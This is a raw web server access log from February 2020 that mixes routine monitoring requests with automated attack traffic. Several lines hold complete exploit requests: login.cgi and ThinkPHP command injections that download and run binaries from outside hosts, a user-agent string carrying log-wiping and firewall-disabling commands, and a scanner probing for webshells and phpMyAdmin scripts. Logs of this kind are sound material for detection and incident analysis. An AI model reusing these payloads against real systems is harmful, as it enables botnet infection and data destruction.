212.91.246.72 - - [18/Feb/2020:07:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.135.172.93 - - [18/Feb/2020:07:02:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:07:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.99.216.147 - - [18/Feb/2020:07:02:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
213.142.172.67 - - [18/Feb/2020:07:02:56 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
138.99.216.147 - - [18/Feb/2020:07:03:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:07:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [18/Feb/2020:07:03:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [18/Feb/2020:07:03:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [18/Feb/2020:07:03:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [18/Feb/2020:07:04:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
138.99.216.147 - - [18/Feb/2020:07:04:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
138.99.216.147 - - [18/Feb/2020:07:04:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
138.99.216.147 - - [18/Feb/2020:07:04:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/75.0.3770.100 Safari/537.36"
39.113.197.251 - - [18/Feb/2020:07:04:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:07:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.155.161 - - [18/Feb/2020:07:10:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
73.33.112.155 - - [18/Feb/2020:07:10:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.0.30.16 - - [18/Feb/2020:07:11:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
95.0.30.16 - - [18/Feb/2020:07:11:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
95.0.30.16 - - [18/Feb/2020:07:11:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:07:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [18/Feb/2020:07:11:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [18/Feb/2020:07:11:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [18/Feb/2020:07:11:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [18/Feb/2020:07:11:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [18/Feb/2020:07:12:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:07:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.170.162.245 - - [18/Feb/2020:07:16:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:07:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.70.3.26 - - [18/Feb/2020:07:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
45.17.126.180 - - [18/Feb/2020:07:18:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:07:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.50.184 - - [18/Feb/2020:07:20:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:07:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.143.151.101 - - [18/Feb/2020:07:22:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:07:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.196.3.161 - - [18/Feb/2020:07:26:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:07:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:07:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.203.158.241 - - [18/Feb/2020:07:29:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
111.203.158.241 - - [18/Feb/2020:07:29:15 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
111.203.158.241 - - [18/Feb/2020:07:29:15 +0100] "POST /Admin54f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:07:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.203.158.241 - - [18/Feb/2020:07:29:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.203.158.241 - - [18/Feb/2020:07:30:00 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.203.158.241 - - [18/Feb/2020:07:30:01 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.203.158.241 - - [18/Feb/2020:07:30:01 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.203.158.241 - - [18/Feb/2020:07:30:02 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
111.203.158.241 - - [18/Feb/2020:07:30:27 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:07:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.203.158.241 - - [18/Feb/2020:07:30:49 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
111.203.158.241 - - [18/Feb/2020:07:31:11 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:07:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.203.158.241 - - [18/Feb/2020:07:31:37 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
111.203.158.241 - - [18/Feb/2020:07:31:59 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
111.203.158.241 - - [18/Feb/2020:07:32:00 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:09 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:22 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:22 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:23 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:23 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:24 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:25 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:26 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:26 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:27 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:33 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:33 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
212.91.246.72 - - [18/Feb/2020:07:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.203.158.241 - - [18/Feb/2020:07:32:37 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:37 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:37 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:38 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
177.102.104.225 - - [18/Feb/2020:07:32:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
111.203.158.241 - - [18/Feb/2020:07:32:40 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:44 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:45 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:47 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:48 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:32:48 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:09 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:09 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:11 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:14 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:14 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:14 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:16 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:16 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:20 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:20 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:20 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:21 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:22 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:22 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:23 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:24 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:24 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:24 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:25 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:27 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:27 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:28 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:29 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:29 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:29 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:30 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:30 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:31 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:31 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:32 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:32 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
111.203.158.241 - - [18/Feb/2020:07:33:33 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
